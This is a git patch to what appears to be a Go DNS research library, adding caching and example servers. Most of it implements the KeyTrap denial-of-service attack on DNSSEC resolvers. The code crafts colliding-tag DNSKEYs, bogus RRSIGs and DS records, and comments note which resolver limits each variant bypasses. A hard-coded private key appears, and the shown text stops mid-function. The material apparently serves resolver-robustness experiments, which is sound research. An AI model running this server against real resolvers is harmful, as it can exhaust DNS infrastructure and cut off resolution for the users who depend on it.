From c2c63474c02a8405e187ecff49caeb9cea584fc4 Mon Sep 17 00:00:00 2001 From: TochusC <205329624@qq.com> Date: Fri, 20 Dec 2024 21:31:31 +0800 Subject: [PATCH] =?UTF-8?q?=E5=AE=9E=E7=8E=B0=E5=BC=82=E6=AD=A5=E5=A4=84?= =?UTF-8?q?=E7=90=86=EF=BC=8C=E6=B7=BB=E5=8A=A0=E7=BC=93=E5=AD=98=E5=8A=9F?= =?UTF-8?q?=E8=83=BD=EF=BC=8C=E4=BF=AE=E6=94=B9xperi=E4=B8=AD=E7=9A=84?= =?UTF-8?q?=E9=83=A8=E5=88=86=E5=8A=9F=E8=83=BD=E5=87=BD=E6=95=B0=EF=BC=8C?= =?UTF-8?q?=E6=8F=90=E5=8D=87=E6=80=A7=E8=83=BD=E3=80=82?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- cacher.go | 128 ++++++++++ dns/xperi/dnssec.go | 10 +- example/benign/main.go | 519 ++++++++++++++++++++++++++++++++++++++++ example/main.go | 383 ----------------------------- example/malfare/main.go | 519 ++++++++++++++++++++++++++++++++++++++++ go.mod | 4 + go.sum | 20 ++ netter.go | 81 ++++--- responser.go | 20 +- server.go | 116 +++++---- 10 files changed, 1323 insertions(+), 477 deletions(-) create mode 100644 cacher.go create mode 100644 example/benign/main.go delete mode 100644 example/main.go create mode 100644 example/malfare/main.go diff --git a/cacher.go b/cacher.go new file mode 100644 index 0000000..38d18a5 --- /dev/null +++ b/cacher.go @@ -0,0 +1,128 @@ +package godns + +import ( + "encoding/binary" + "fmt" + "io" + "log" + "os" + "path/filepath" + + "github.com/panjf2000/ants/v2" + "github.com/tochusc/godns/dns" +) + +type Cacher struct { + CacheLocation string + CacherLogger *log.Logger + CacherPool *ants.Pool +} + +type CacherConfig struct { + CacheLocation string + LogWriter io.Writer +} + +func NewCacher(conf CacherConfig, pool *ants.Pool) *Cacher { + cacherLogger := log.New(conf.LogWriter, "Cacher: ", log.LstdFlags) + + return &Cacher{ + CacheLocation: conf.CacheLocation, + CacherLogger: cacherLogger, + CacherPool: pool, + } +} + +func (c *Cacher) CacheResponse(data []byte) error { + ident, err := IdentifyMessage(data) + if err != nil { + c.CacherLogger.Printf("Error identifying response: %v", err) + return err + } + + path := filepath.Join(c.CacheLocation, ident) + + // 将响应缓存到磁盘 + + // 如果缓存目录不存在,创建目录 + if _, err := os.Stat(c.CacheLocation); os.IsNotExist(err) { + err := os.MkdirAll(c.CacheLocation, 0755) + if err != nil { + c.CacherLogger.Printf("Error creating cache directory %s: %v", c.CacheLocation, err) + return err + } + } + + // 创建缓存文件 + file, err := os.Create(path) + if err != nil { + c.CacherLogger.Printf("Error creating cache file %s: %v", ident, err) + return err + } + + _, err = file.Write(data) + if err != nil { + c.CacherLogger.Printf("Error writing cache file %s: %v", ident, err) + return err + } + + file.Close() + c.CacherLogger.Printf("Cache saved %s\n", ident) + + return nil +} + +func (c *Cacher) FetchCache(connInfo ConnectionInfo) ([]byte, error) { + + ident, err := IdentifyMessage(connInfo.Packet) + if err != nil { + c.CacherLogger.Printf("Error identifying response: %v", err) + return []byte{}, err + } + + path := filepath.Join(c.CacheLocation, ident) + + file, err := os.Open(path) + if err != nil { + c.CacherLogger.Printf("Cache miss %s\n", ident) + return []byte{}, err + } + defer file.Close() + + cache := make([]byte, 65535) + rd, err := file.Read(cache) + if err != nil { + c.CacherLogger.Printf("Error reading cache file %s: %v", ident, err) + return []byte{}, err + } + + c.CacherLogger.Printf("Cache hit %s\n", ident) + + // 修改Cache内容 + cache[0] = connInfo.Packet[0] + cache[1] = connInfo.Packet[1] + for i := 0; ; i++ { + cache[12+i] = connInfo.Packet[12+i] + + if cache[12+i] > dns.NamePointerFlag { + cache[13+i] = connInfo.Packet[13+i] + break + } + if cache[12+i] == 0x00 { + break + } + } + + return cache[:rd], nil +} + +func IdentifyMessage(data []byte) (string, error) { + // 解析 DNS 请求 + qName, offset, err := dns.DecodeDomainNameFromBuffer(data, 12) + if err != nil { + return "", err + } + qType := dns.DNSType(binary.BigEndian.Uint16(data[offset : offset+2])) + qClass := dns.DNSClass(binary.BigEndian.Uint16(data[offset+2 : offset+4])) + return fmt.Sprintf("%s-%s-%s", qName, qType.String(), qClass.String()), nil +} diff --git a/dns/xperi/dnssec.go b/dns/xperi/dnssec.go index e1299d8..a1a582f 100644 --- a/dns/xperi/dnssec.go +++ b/dns/xperi/dnssec.go @@ -423,7 +423,7 @@ func GenerateRandomRRRRSIG(rrSet []dns.DNSResourceRecord, algo dns.DNSSECAlgorit return rr } -func GenerateRandomRDATADS(oName string, kRDATA dns.DNSRDATADNSKEY, dType dns.DNSSECDigestType) dns.DNSRDATADS { +func GenerateRandomRDATADS(oName string, keytag int, algo dns.DNSSECAlgorithm, dType dns.DNSSECDigestType) dns.DNSRDATADS { rText := []byte(GenerateRandomString(96)) var digest []byte switch dType { @@ -442,15 +442,15 @@ func GenerateRandomRDATADS(oName string, kRDATA dns.DNSRDATADNSKEY, dType dns.DN // 4. 构建 DS RDATA return dns.DNSRDATADS{ - KeyTag: CalculateKeyTag(kRDATA), - Algorithm: kRDATA.Algorithm, + KeyTag: uint16(keytag), + Algorithm: algo, DigestType: dType, Digest: digest[:], } } -func GenerateRandomRRDS(oName string, kRDATA dns.DNSRDATADNSKEY, dType dns.DNSSECDigestType) dns.DNSResourceRecord { - rdata := GenerateRandomRDATADS(oName, kRDATA, dType) +func GenerateRandomRRDS(oName string, keytag int, algo dns.DNSSECAlgorithm, dType dns.DNSSECDigestType) dns.DNSResourceRecord { + rdata := GenerateRandomRDATADS(oName, keytag, algo, dType) rr := dns.DNSResourceRecord{ Name: oName, Type: dns.DNSRRTypeDS, diff --git a/example/benign/main.go b/example/benign/main.go new file mode 100644 index 0000000..f042ee9 --- /dev/null +++ b/example/benign/main.go @@ -0,0 +1,519 @@ +package main + +import ( + "log" + "net" + "os" + "sort" + "strings" + "sync" + "time" + + "github.com/tochusc/godns" + "github.com/tochusc/godns/dns" + "github.com/tochusc/godns/dns/xperi" +) + +// // HashTrap v2攻击向量 +// // ✔️Unbound MAX_DS_MATCH_FAILURE(5) +// // ❌BIND #DS<100 and #DNSKEY<100 +// // ✔️Knot Resolver Expensive Crypto Limited +// // ❌PDNS Recursor #DS<=9 and #DNSKEY<=2 +// var ExperiVec = KeyTrapVector{ +// CollidedSigNum: 1, +// CollidedZSKNum: 1, + +// CollidedKSKNum: 4, +// CollidedDSNum: 10, + +// // www.atk.test +// // atk.test -> test +// // atk.test 80 DS_KSK, +// // DS 16 KegTag== DS +// // KSK 4 KeyTag== KSK +// // 80 * 17 = 1280 #DS +// // 5 * 80 = 400 #KSK + +// ANYRRSetNum: 1, +// DS_KSK_PairNum: 80, +// } + +// // +// 32req/s 32dif Malfare Auth. 32 * 400 KSK(Random), 32*1280 DS(Random) +// Pre-Generate: +// DS --> KSK +// RRSIG --> RDATA +// +// Goroutine +// +// Graph --> Load, Loss(Benign request script: 10 req/s got answer?) +// +// No DNSSEC --> +// DNSSEC --> +// +// Local ? Remote +// +// Virtual + +var ExperiVec = KeyTrapVector{ + // KeySigTrap:(SigJam, LockCram) + CollidedSigNum: 1, // SigJam + CollidedZSKNum: 1, // LockCram + + // HashTrap + CollidedKSKNum: 1, + CollidedDSNum: 1, + + // HashTrap v2 + DS_KSK_PairNum: 1, + + // ANY + ANYRRSetNum: 1, +} + +type KeyTrapResponser struct { + ResponserLogger *log.Logger + DNSSECManager godns.DNSSECManager +} + +// KeyTrap攻击向量 +type KeyTrapVector struct { + // SigJam + CollidedSigNum int + // LockCram + CollidedZSKNum int + // HashTrap + CollidedKSKNum int + CollidedDSNum int + // ANY + ANYRRSetNum int + + // HashTrap v2 + DS_KSK_PairNum int +} + +type KeyTrapManager struct { + // DNSSEC 配置 + DNSSECConf godns.DNSSECConfig + + // 区域名与其相应 DNSSEC 材料的映射 + // 在初始化 DNSSEC Responser 时需要为其手动添加信任锚点 + DNSSECMap sync.Map + + // KeyTrap攻击向量 + AttackVec KeyTrapVector +} + +type DNSSECMaterial struct { + // Key Tag + ZSKTag int + KSKTag int + + // 公钥RDATA + ZSKRecord dns.DNSResourceRecord + KSKRecord dns.DNSResourceRecord + + // 私钥字节 + ZSKPriv []byte + KSKPriv []byte +} + +func (m *KeyTrapManager) SignSection(section []dns.DNSResourceRecord) []dns.DNSResourceRecord { + rMap := make(map[string][]dns.DNSResourceRecord) + for _, rr := range section { + if rr.Type == dns.DNSRRTypeRRSIG { + continue + } + rid := rr.Name + rr.Type.String() + rr.Class.String() + rMap[rid] = append(rMap[rid], rr) + } + for _, rrset := range rMap { + // SigJam攻击向量:CollidedSigNum + // 生成 错误RRSIG 记录 + uName := dns.GetUpperDomainName(&rrset[0].Name) + dMat := m.GetDNSSECMaterial(uName) + + for i := 0; i < m.AttackVec.CollidedSigNum; i++ { + wRRSIG := xperi.GenerateRandomRRRRSIG( + rrset, + m.DNSSECConf.DAlgo, + uint32(time.Now().UTC().Unix()+86400-3600), + uint32(time.Now().UTC().Unix()-3600), + uint16(dMat.ZSKTag), + uName, + ) + section = append(section, wRRSIG) + } + + sig := m.SignRRSet(rrset) + section = append(section, sig) + } + return section +} + +func (m *KeyTrapManager) SignRRSet(rrset []dns.DNSResourceRecord) dns.DNSResourceRecord { + uName := dns.GetUpperDomainName(&rrset[0].Name) + dMat := m.GetDNSSECMaterial(uName) + + sort.Sort(dns.ByCanonicalOrder(rrset)) + + sig := xperi.GenerateRRRRSIG( + rrset, + m.DNSSECConf.DAlgo, + uint32(time.Now().UTC().Unix()+86400-3600), + uint32(time.Now().UTC().Unix()-3600), + uint16(dMat.ZSKTag), + uName, + dMat.ZSKPriv, + ) + return sig +} + +func (m *KeyTrapManager) EnableDNSSEC(qry dns.DNSMessage, resp *dns.DNSMessage) { + qType := qry.Question[0].Type + + // ANY攻击向量 + if qType == dns.DNSQTypeANY { + // 生成任意类型的 RR 集合 + anyset := []dns.DNSResourceRecord{} + var sType = 4096 + for i := 0; i < m.AttackVec.ANYRRSetNum; i++ { + rr := dns.DNSResourceRecord{ + Name: qry.Question[0].Name, + Type: dns.DNSType(sType + i), + Class: dns.DNSClassIN, + TTL: 86400, + RDLen: 0, + RData: &dns.DNSRDATAA{Address: net.IPv4(10, 10, 10, 10)}, + } + anyset = append(anyset, rr) + } + resp.Answer = append(resp.Answer, anyset...) + } + + // 签名回答部分 + resp.Answer = m.SignSection(resp.Answer) + // 签名权威部分 + resp.Authority = m.SignSection(resp.Authority) + // 签名附加部分 + resp.Additional = m.SignSection(resp.Additional) + m.EstablishToC(qry, resp) +} + +func (m *KeyTrapManager) CreateDNSSECMaterial(zName string) DNSSECMaterial { + zskRecord, zskPriv := xperi.GenerateRRDNSKEY(zName, m.DNSSECConf.DAlgo, dns.DNSKEYFlagZoneKey) + zskTag := xperi.CalculateKeyTag(*zskRecord.RData.(*dns.DNSRDATADNSKEY)) + for zskTag < uint16(m.AttackVec.CollidedZSKNum) { + zskRecord, zskPriv = xperi.GenerateRRDNSKEY(zName, m.DNSSECConf.DAlgo, dns.DNSKEYFlagZoneKey) + zskTag = xperi.CalculateKeyTag(*zskRecord.RData.(*dns.DNSRDATADNSKEY)) + } + + kskRecord, kskPriv := xperi.GenerateRRDNSKEY(zName, m.DNSSECConf.DAlgo, dns.DNSKEYFlagSecureEntryPoint) + kskTag := xperi.CalculateKeyTag(*kskRecord.RData.(*dns.DNSRDATADNSKEY)) + for kskTag < uint16(m.AttackVec.DS_KSK_PairNum) { + kskRecord, kskPriv = xperi.GenerateRRDNSKEY(zName, m.DNSSECConf.DAlgo, dns.DNSKEYFlagSecureEntryPoint) + kskTag = xperi.CalculateKeyTag(*kskRecord.RData.(*dns.DNSRDATADNSKEY)) + } + + return DNSSECMaterial{ + ZSKTag: int(zskTag), + KSKTag: int(kskTag), + + ZSKRecord: zskRecord, + KSKRecord: kskRecord, + + ZSKPriv: zskPriv, + KSKPriv: kskPriv, + } +} + +// GetDNSSECMaterial 获取指定区域的 DNSSEC 材料 +// 如果该区域的 DNSSEC 材料不存在,则会根据 DNSSEC 配置生成一个 +func (m *KeyTrapManager) GetDNSSECMaterial(zName string) DNSSECMaterial { + dMat, ok := m.DNSSECMap.Load(zName) + if !ok { + dMat = m.CreateDNSSECMaterial(zName) + m.DNSSECMap.Store(zName, dMat) + } + return dMat.(DNSSECMaterial) +} + +// EstablishToC 根据查询自动添加 DNSKEY,DS,RRSIG 记录 +// 自动完成信任链(Trust of Chain)的建立。 +// 其接受参数为: +// - qry dns.DNSMessage,查询信息 +// - m.DNSSECConf DNSSECConfig,DNSSEC 配置 +// - dMap map[string]DNSSECMaterial,区域名与其相应 DNSSEC 材料的映射 +// - resp *dns.DNSMessage,回复信息 +func (m *KeyTrapManager) EstablishToC(qry dns.DNSMessage, resp *dns.DNSMessage) error { + // 提取查询类型和查询名称 + qType := qry.Question[0].Type + qName := strings.ToLower(qry.Question[0].Name) + dMat := m.GetDNSSECMaterial(qName) + + if qType == dns.DNSRRTypeDNSKEY { + // 如果查询类型为 DNSKEY, + + // LockCram攻击向量:CollidedKeyNum + // 生成 错误ZSK DNSKEY 记录 + rrset := []dns.DNSResourceRecord{dMat.ZSKRecord, dMat.KSKRecord} + for i := 0; i < m.AttackVec.CollidedZSKNum; i++ { + wZSK := xperi.GenerateRandomDNSKEYWithTag( + m.DNSSECConf.DAlgo, + dns.DNSKEYFlagZoneKey, + dMat.ZSKTag, + ) + rrset = append(rrset, dns.DNSResourceRecord{ + Name: qName, + Type: dns.DNSRRTypeDNSKEY, + Class: dns.DNSClassIN, + TTL: 86400, + RDLen: uint16(wZSK.Size()), + RData: &wZSK, + }) + } + // HashTrap v2 攻击向量: DS_KSK_PairNum + for i := 1; i <= m.AttackVec.DS_KSK_PairNum; i++ { + kskTag := dMat.KSKTag - i + kskRR := xperi.GenerateRandomDNSKEYWithTag( + m.DNSSECConf.DAlgo, + dns.DNSKEYFlagSecureEntryPoint, + kskTag, + ) + rrset = append(rrset, dns.DNSResourceRecord{ + Name: qName, + Type: dns.DNSRRTypeDNSKEY, + Class: dns.DNSClassIN, + TTL: 86400, + RDLen: uint16(kskRR.Size()), + RData: &kskRR, + }) + + // HashTrap攻击向量: CollidedKSKNum + // 生成 错误KSK DNSKEY 记录 + for i := 0; i < m.AttackVec.CollidedKSKNum; i++ { + wKSK := xperi.GenerateRandomDNSKEYWithTag( + m.DNSSECConf.DAlgo, + dns.DNSKEYFlagSecureEntryPoint, + int(kskTag), + ) + rrset = append(rrset, dns.DNSResourceRecord{ + Name: qName, + Type: dns.DNSRRTypeDNSKEY, + Class: dns.DNSClassIN, + TTL: 86400, + RDLen: uint16(wKSK.Size()), + RData: &wKSK, + }) + } + } + sort.Sort(dns.ByCanonicalOrder(rrset)) + // 生成密钥集签名 + sig := xperi.GenerateRRRRSIG( + rrset, + dns.DNSSECAlgorithmECDSAP384SHA384, + uint32(time.Now().UTC().Unix()+86400-3600), + uint32(time.Now().UTC().Unix()-3600), + uint16(dMat.KSKTag), + qName, + dMat.KSKPriv, + ) + rrset = append(rrset, sig) + + resp.Answer = append(resp.Answer, rrset...) + resp.Header.RCode = dns.DNSResponseCodeNoErr + } else if qType == dns.DNSRRTypeDS { + // 如果查询类型为 DS,则生成 DS 记录 + dMat := m.GetDNSSECMaterial(qName) + + rrset := []dns.DNSResourceRecord{} + + // HashTrap v2 攻击 + for i := 0; i < m.AttackVec.DS_KSK_PairNum; i++ { + kskTag := dMat.KSKTag - i + // HashTrap 攻击向量:CollidedDSNum + // 生成 错误DS 记录 + for i := 0; i < m.AttackVec.CollidedDSNum; i++ { + wDS := xperi.GenerateRandomRRDS(qName, kskTag, m.DNSSECConf.DAlgo, m.DNSSECConf.DType) + rrset = append(rrset, wDS) + } + } + + // 生成正确DS记录 + kskRData, _ := dMat.KSKRecord.RData.(*dns.DNSRDATADNSKEY) + ds := xperi.GenerateRRDS(qName, *kskRData, m.DNSSECConf.DType) + rrset = append(rrset, ds) + + upName := dns.GetUpperDomainName(&qName) + dMat = m.GetDNSSECMaterial(upName) + + sort.Sort(dns.ByCanonicalOrder(rrset)) + + sig := xperi.GenerateRRRRSIG( + rrset, + m.DNSSECConf.DAlgo, + uint32(time.Now().UTC().Unix()+86400-3600), + uint32(time.Now().UTC().Unix()-3600), + uint16(dMat.ZSKTag), + upName, + dMat.ZSKPriv, + ) + + rrset = append(rrset, sig) + + resp.Answer = append(resp.Answer, rrset...) + resp.Header.RCode = dns.DNSResponseCodeNoErr + } + godns.FixCount(resp) + return nil +} +func (r *KeyTrapResponser) Response(connInfo godns.ConnectionInfo) ([]byte, error) { + // 解析查询信息 + qry, err := godns.ParseQuery(connInfo) + if err != nil { + r.ResponserLogger.Printf("Error parsing query: %v", err) + return []byte{}, err + } + + // 将可能启用0x20混淆的查询名称转换为小写 + qName := strings.ToLower(qry.Question[0].Name) + qType := qry.Question[0].Type + qClass := qry.Question[0].Class + + r.ResponserLogger.Printf("Recive DNS Query from %s,Protocol: %s, Name: %s, Type: %s, Class: %s\n", + connInfo.Address.String(), connInfo.Protocol, qName, qType, qClass) + + // 初始化 NXDOMAIN 回复信息 + resp := godns.InitNXDOMAIN(qry) + + switch qType { + case dns.DNSRRTypeA: + // 生成 A 记录 + rr := dns.DNSResourceRecord{ + Name: qName, + Type: dns.DNSRRTypeA, + Class: dns.DNSClassIN, + TTL: 86400, + RDLen: 0, + RData: &dns.DNSRDATAA{Address: net.IPv4(10, 10, 1, 2)}, + } + resp.Answer = append(resp.Answer, rr) + case dns.DNSRRTypeNS: + // 生成 NS 记录 + rr := dns.DNSResourceRecord{ + Name: qName, + Type: dns.DNSRRTypeNS, + Class: dns.DNSClassIN, + TTL: 86400, + RDLen: 0, + RData: &dns.DNSRDATANS{NSDNAME: qName}, + } + resp.Answer = append(resp.Answer, rr) + } + + // 为回复信息添加 DNSSEC 记录 + r.DNSSECManager.EnableDNSSEC(qry, &resp) + + // 设置RCODE,修正计数字段,返回回复信息 + resp.Header.RCode = dns.DNSResponseCodeNoErr + godns.FixCount(&resp) + + data := resp.Encode() + + // crsp, err := dns.CompressDNSMessage(data) + // if err != nil { + // r.ResponserLogger.Printf("Error compressing response: %v", err) + // return data, nil + // } else { + // return crsp, nil + // } + + return data, nil +} + +func main() { + conf := godns.DNSServerConfig{ + IP: net.IPv4(10, 10, 1, 2), + Port: 53, + + // stdout + LogWriter: os.Stdout, + + EnebleCache: true, + CacheLocation: "./cache", + + PoolCapcity: -1, + } + + // 生成 KSK 和 ZSK + // 使用ParseKeyBase64解析预先生成的公钥, + // 该公钥应确保能够被解析器通过 信任锚(Trust Anchor)建立的 信任链(Chain of Trust) 所验证。 + kskPublic := xperi.ParseKeyBase64("MzJsFTtAo0j8qGpDIhEMnK4ImTyYwMwDPU5gt/FaXd6TOw6AvZDAj2hlhZvaxMXV6xCw1MU5iPv5ZQrb3NDLUU+TW07imJ5GD9YKi0Qiiypo+zhtL4aGaOG+870yHwuY") + kskPriv := xperi.ParseKeyBase64("ppaXHmb7u1jOxEzrLzuGKzbjmSLIK4gEhQOvws+cpBQyJbCwIM1Nrk4j5k94CP9e") + + material := InitMaterial("benign", dns.DNSSECAlgorithmECDSAP384SHA384, kskPublic, kskPriv) + + dMap := sync.Map{} + dMap.Store("benign", material) + + server := godns.NewGoDNSServer(conf, + &KeyTrapResponser{ + ResponserLogger: log.New(conf.LogWriter, "KeyTrapResponser: ", log.LstdFlags), + DNSSECManager: &KeyTrapManager{ + DNSSECConf: godns.DNSSECConfig{ + DAlgo: dns.DNSSECAlgorithmECDSAP384SHA384, + DType: dns.DNSSECDigestTypeSHA384, + }, + DNSSECMap: dMap, + AttackVec: ExperiVec, + }, + }, + ) + + server.Start() +} + +// InitTrustAnchor 根据 DNSSEC 配置生成指定区域的信任锚点 +// 其接受参数为: +// - zName string,区域名 +// - dConf DNSSECConfig,DNSSEC 配置 +// - kBytes []byte,KSK 公钥 +// - pkBytes []byte,KSK 私钥 +// +// 返回值为: +// - map[string]DNSSECMaterial,生成的信任锚点 +func InitMaterial(name string, algo dns.DNSSECAlgorithm, kskPublic, kskPriv []byte) DNSSECMaterial { + + zskRR, zskPriv := xperi.GenerateRRDNSKEY(name, algo, dns.DNSKEYFlagZoneKey) + zskRDATA := zskRR.RData.(*dns.DNSRDATADNSKEY) + + kskRDATA := dns.DNSRDATADNSKEY{ + Flags: dns.DNSKEYFlagSecureEntryPoint, + Protocol: dns.DNSKEYProtocolValue, + Algorithm: algo, + PublicKey: kskPublic, + } + + kskRR := dns.DNSResourceRecord{ + Name: name, + Type: dns.DNSRRTypeDNSKEY, + Class: dns.DNSClassIN, + TTL: 86400, + RDLen: uint16(kskRDATA.Size()), + RData: &kskRDATA, + } + + zskTag := xperi.CalculateKeyTag(*zskRDATA) + kskTag := xperi.CalculateKeyTag(kskRDATA) + + return DNSSECMaterial{ + ZSKTag: int(zskTag), + KSKTag: int(kskTag), + + ZSKRecord: zskRR, + KSKRecord: kskRR, + + ZSKPriv: zskPriv, + KSKPriv: kskPriv, + } +} diff --git a/example/main.go b/example/main.go deleted file mode 100644 index b9cbbcc..0000000 --- a/example/main.go +++ /dev/null @@ -1,383 +0,0 @@ -package main - -import ( - "net" - "sort" - "strings" - "time" - - "github.com/tochusc/godns" - "github.com/tochusc/godns/dns" - "github.com/tochusc/godns/dns/xperi" -) - -// 测试的KeyTrap攻击向量 -var ExperiVec = KeyTrapVector{ - CollidedSigNum: 1, - CollidedZSKNum: 1, - CollidedKSKNum: 1, - CollidedDSNum: 1, - ANYRRSetNum: 1, - DS_KSK_PairNum: 1, -} - -type KeyTrapResponser struct { - ServerConf godns.DNSServerConfig - DNSSECManager godns.DNSSECManager -} - -// KeyTrap攻击向量 -type KeyTrapVector struct { - // SigJam - CollidedSigNum int - // LockCram - CollidedZSKNum int - // HashTrap - CollidedKSKNum int - CollidedDSNum int - // ANY - ANYRRSetNum int - - // HashTrap v2 - DS_KSK_PairNum int -} - -type KeyTrapManager struct { - // DNSSEC 配置 - DNSSECConf godns.DNSSECConfig - - // 区域名与其相应 DNSSEC 材料的映射 - // 在初始化 DNSSEC Responser 时需要为其手动添加信任锚点 - DNSSECMap map[string]godns.DNSSECMaterial - - // KeyTrap攻击向量 - AttackVec KeyTrapVector - KSKTagMap map[int]dns.DNSRDATADNSKEY -} - -func (m KeyTrapManager) SignSection(section []dns.DNSResourceRecord) []dns.DNSResourceRecord { - rMap := make(map[string][]dns.DNSResourceRecord) - for _, rr := range section { - if rr.Type == dns.DNSRRTypeRRSIG { - continue - } - rid := rr.Name + rr.Type.String() + rr.Class.String() - rMap[rid] = append(rMap[rr.Name], rr) - } - for _, rrset := range rMap { - // SigJam攻击向量:CollidedSigNum - // 生成 错误RRSIG 记录 - uName := dns.GetUpperDomainName(&rrset[0].Name) - dMat := m.GetDNSSECMaterial(uName) - - for i := 0; i < m.AttackVec.CollidedSigNum; i++ { - wRRSIG := xperi.GenerateRandomRRRRSIG( - rrset, - m.DNSSECConf.DAlgo, - uint32(time.Now().UTC().Unix()+86400-3600), - uint32(time.Now().UTC().Unix()-3600), - uint16(dMat.ZSKTag), - uName, - ) - section = append(section, wRRSIG) - } - - sig := m.SignRRSet(rrset) - section = append(section, sig) - } - return section -} - -func (m KeyTrapManager) SignRRSet(rrset []dns.DNSResourceRecord) dns.DNSResourceRecord { - uName := dns.GetUpperDomainName(&rrset[0].Name) - dMat := m.GetDNSSECMaterial(uName) - - sort.Sort(dns.ByCanonicalOrder(rrset)) - - sig := xperi.GenerateRRRRSIG( - rrset, - m.DNSSECConf.DAlgo, - uint32(time.Now().UTC().Unix()+86400-3600), - uint32(time.Now().UTC().Unix()-3600), - uint16(dMat.ZSKTag), - uName, - dMat.PrivateZSK, - ) - return sig -} - -func (m KeyTrapManager) EnableDNSSEC(qry dns.DNSMessage, resp *dns.DNSMessage) { - qType := qry.Question[0].Type - - // ANY攻击向量 - if qType == dns.DNSQTypeANY { - // 生成任意类型的 RR 集合 - anyset := []dns.DNSResourceRecord{} - var sType = 4096 - for i := 0; i < m.AttackVec.ANYRRSetNum; i++ { - rr := dns.DNSResourceRecord{ - Name: qry.Question[0].Name, - Type: dns.DNSType(sType + i), - Class: dns.DNSClassIN, - TTL: 86400, - RDLen: 0, - RData: &dns.DNSRDATAA{Address: net.IPv4(10, 10, 10, 10)}, - } - anyset = append(anyset, rr) - } - resp.Answer = append(resp.Answer, anyset...) - } - - // 签名回答部分 - resp.Answer = m.SignSection(resp.Answer) - // 签名权威部分 - resp.Authority = m.SignSection(resp.Authority) - // 签名附加部分 - resp.Additional = m.SignSection(resp.Additional) - m.EstablishToC(qry, resp) -} - -func (m KeyTrapManager) CreateDNSSECMaterial(zName string) godns.DNSSECMaterial { - pubZSK, privZSKBytes := xperi.GenerateRRDNSKEY(zName, m.DNSSECConf.DAlgo, dns.DNSKEYFlagZoneKey) - zSKTag := xperi.CalculateKeyTag(*pubZSK.RData.(*dns.DNSRDATADNSKEY)) - keyset := []dns.DNSResourceRecord{pubZSK} - // LockCram攻击向量:CollidedKeyNum - // 生成 错误ZSK DNSKEY 记录 - for i := 0; i < m.AttackVec.CollidedZSKNum; i++ { - wZSK := xperi.GenerateRandomDNSKEYWithTag( - m.DNSSECConf.DAlgo, - dns.DNSKEYFlagZoneKey, - int(zSKTag), - ) - keyset = append(keyset, dns.DNSResourceRecord{ - Name: zName, - Type: dns.DNSRRTypeDNSKEY, - Class: dns.DNSClassIN, - TTL: 86400, - RDLen: uint16(wZSK.Size()), - RData: &wZSK, - }) - } - - mKeyTag := uint16(0x0000) - mKeyPriv := []byte{} - - // HashTrap v2 攻击向量: DS_KSK_PairNum - for i := 0; i < m.AttackVec.DS_KSK_PairNum; i++ { - pubKSK, privKSKBytes := xperi.GenerateRRDNSKEY(zName, m.DNSSECConf.DAlgo, dns.DNSKEYFlagSecureEntryPoint) - kSKTag := xperi.CalculateKeyTag(*pubKSK.RData.(*dns.DNSRDATADNSKEY)) - - if _, ok := m.KSKTagMap[int(kSKTag)]; ok { - i-- - continue - } else { - m.KSKTagMap[int(kSKTag)] = *pubKSK.RData.(*dns.DNSRDATADNSKEY) - - keyset = append(keyset, pubKSK) - if kSKTag > mKeyTag { - mKeyTag = kSKTag - mKeyPriv = privKSKBytes - } - - // HashTrap攻击向量: CollidedKSKNum - // 生成 错误KSK DNSKEY 记录 - for i := 0; i < m.AttackVec.CollidedKSKNum; i++ { - wKSK := xperi.GenerateRandomDNSKEYWithTag( - m.DNSSECConf.DAlgo, - dns.DNSKEYFlagSecureEntryPoint, - int(kSKTag), - ) - keyset = append(keyset, dns.DNSResourceRecord{ - Name: zName, - Type: dns.DNSRRTypeDNSKEY, - Class: dns.DNSClassIN, - TTL: 86400, - RDLen: uint16(wKSK.Size()), - RData: &wKSK, - }) - } - } - } - - sort.Sort(dns.ByCanonicalOrder(keyset)) - - // 生成密钥集签名 - keySig := xperi.GenerateRRRRSIG( - keyset, - dns.DNSSECAlgorithmECDSAP384SHA384, - uint32(time.Now().UTC().Unix()+86400-3600), - uint32(time.Now().UTC().Unix()-3600), - mKeyTag, - zName, - mKeyPriv, - ) - // 生成 DNSSEC 材料 - resp := append(keyset, keySig) - return godns.DNSSECMaterial{ - KSKTag: int(mKeyTag), - ZSKTag: int(zSKTag), - PrivateKSK: mKeyPriv, - PrivateZSK: privZSKBytes, - DNSKEYRespSec: resp, - } -} - -// GetDNSSECMaterial 获取指定区域的 DNSSEC 材料 -// 如果该区域的 DNSSEC 材料不存在,则会根据 DNSSEC 配置生成一个 -func (m KeyTrapManager) GetDNSSECMaterial(zName string) godns.DNSSECMaterial { - dMat, ok := m.DNSSECMap[zName] - if !ok { - m.DNSSECMap[zName] = m.CreateDNSSECMaterial(zName) - dMat = m.DNSSECMap[zName] - } - return dMat -} - -// EstablishToC 根据查询自动添加 DNSKEY,DS,RRSIG 记录 -// 自动完成信任链(Trust of Chain)的建立。 -// 其接受参数为: -// - qry dns.DNSMessage,查询信息 -// - dConf DNSSECConfig,DNSSEC 配置 -// - dMap map[string]DNSSECMaterial,区域名与其相应 DNSSEC 材料的映射 -// - resp *dns.DNSMessage,回复信息 -func (m KeyTrapManager) EstablishToC(qry dns.DNSMessage, resp *dns.DNSMessage) error { - // 提取查询类型和查询名称 - qType := qry.Question[0].Type - qName := strings.ToLower(qry.Question[0].Name) - dMat := m.GetDNSSECMaterial(qName) - - if qType == dns.DNSRRTypeDNSKEY { - // 如果查询类型为 DNSKEY,则返回相应的 DNSKEY 记录 - resp.Answer = append(resp.Answer, dMat.DNSKEYRespSec...) - resp.Header.RCode = dns.DNSResponseCodeNoErr - } else if qType == dns.DNSRRTypeDS { - // 如果查询类型为 DS,则生成 DS 记录 - dMat := m.GetDNSSECMaterial(qName) - - dsset := []dns.DNSResourceRecord{} - for _, kRDATA := range m.KSKTagMap { - // HashTrap攻击向量:CollidedDSNum - // 生成 错误DS 记录 - for i := 0; i < m.AttackVec.CollidedDSNum; i++ { - wDS := xperi.GenerateRandomRRDS(qName, kRDATA, m.DNSSECConf.DType) - dsset = append(dsset, wDS) - } - ds := xperi.GenerateRRDS( - qName, - kRDATA, - m.DNSSECConf.DType, - ) - dsset = append(dsset, ds) - } - // 生成 ZSK 签名 - upName := dns.GetUpperDomainName(&qName) - dMat = m.GetDNSSECMaterial(upName) - - sort.Sort(dns.ByCanonicalOrder(dsset)) - - sig := xperi.GenerateRRRRSIG( - dsset, - m.DNSSECConf.DAlgo, - uint32(time.Now().UTC().Unix()+86400-3600), - uint32(time.Now().UTC().Unix()-3600), - uint16(dMat.ZSKTag), - upName, - 